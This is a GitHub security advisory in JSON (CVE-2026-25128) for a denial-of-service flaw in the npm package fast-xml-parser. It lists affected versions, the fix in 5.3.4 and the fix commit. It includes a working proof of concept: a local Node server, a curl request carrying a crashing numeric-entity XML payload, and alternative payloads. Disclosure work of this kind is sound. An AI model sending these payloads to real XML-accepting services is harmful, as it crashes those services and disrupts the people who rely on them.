CVE-2026-25128: Fast xml parser Denial of Service Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-37qj-frw5-hhjh",
  "modified" : "2026-02-11T23:13:02Z",
  "published" : "2026-01-30T20:10:14Z",
  "aliases" : [ "CVE-2026-25128" ],
  "summary" : "fast-xml-parser has RangeError DoS Numeric Entities Bug",
  "details" : "### Summary\nA RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., `&#9999999;` or `&#xFFFFFF;`). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.\n\n### Details\nThe vulnerability exists in `/src/xmlparser/OrderedObjParser.js` at lines 44-45:\n\n```javascript\n\"num_dec\": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },\n\"num_hex\": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },\n```\n\nThe `String.fromCodePoint()` method throws a `RangeError` when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:\n- `[0-9]{1,7}` matches up to 9,999,999\n- `[0-9a-fA-F]{1,6}` matches up to 0xFFFFFF (16,777,215)\n\nThe entity replacement in `replaceEntitiesValue()` (line 452) has no try-catch:\n\n```javascript\nval = val.replace(entity.regex, entity.val);\n```\n\nThis causes the RangeError to propagate uncaught, crashing the parser and any application using it.\n### PoC\n#### Setup\n\nCreate a directory with these files:\n\n```\npoc/\n├── package.json\n├── server.js\n```\n\n**package.json**\n```json\n{ \"dependencies\": { \"fast-xml-parser\": \"^5.3.3\" } }\n```\n\n**server.js**\n```javascript\nconst http = require('http');\nconst { XMLParser } = require('fast-xml-parser');\n\nconst parser = new XMLParser({ processEntities: true, htmlEntities: true });\n\nhttp.createServer((req, res) => {\n  if (req.method === 'POST' && req.url === '/parse') {\n    let body = '';\n    req.on('data', c => body += c);\n    req.on('end', () => {\n      const result = parser.parse(body);  // No try-catch - will crash!\n      res.end(JSON.stringify(result));\n    });\n  } else {\n    res.end('POST /parse with XML body');\n  }\n}).listen(3000, () => console.log('http://localhost:3000'));\n```\n\n#### Run\n\n```bash\n# Setup\nnpm install\n\n# Terminal 1: Start server\nnode server.js\n\n# Terminal 2: Send malicious payload (server will crash)\ncurl -X POST -H \"Content-Type: application/xml\" -d '<?xml version=\"1.0\"?><root>&#9999999;</root>' http://localhost:3000/parse\n``` \n#### Result\n\nServer crashes with:\n```\nRangeError: Invalid code point 9999999\n```\n\n#### Alternative Payloads\n\n```xml\n<!-- Hex variant -->\n<?xml version=\"1.0\"?><root>&#xFFFFFF;</root>\n\n<!-- In attribute -->\n<?xml version=\"1.0\"?><root attr=\"&#9999999;\"/>\n```\n\n### Impact\n*Denial of Service (DoS):** Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:\n\n- **API servers** accepting XML payloads\n- **File processors** parsing uploaded XML files\n- **Message queues** consuming XML messages\n- **RSS/Atom feed parsers**\n- **SOAP/XML-RPC services**\n\nA single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "fast-xml-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "5.0.9"
      }, {
        "fixed" : "5.3.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.3.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-37qj-frw5-hhjh"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-25128"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/commit/4e387f61c4a5cef792f6a2f42467013290bf95dc"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-20", "CWE-248" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-30T20:10:14Z",
    "nvd_published_at" : "2026-01-30T16:16:14Z"
  }
}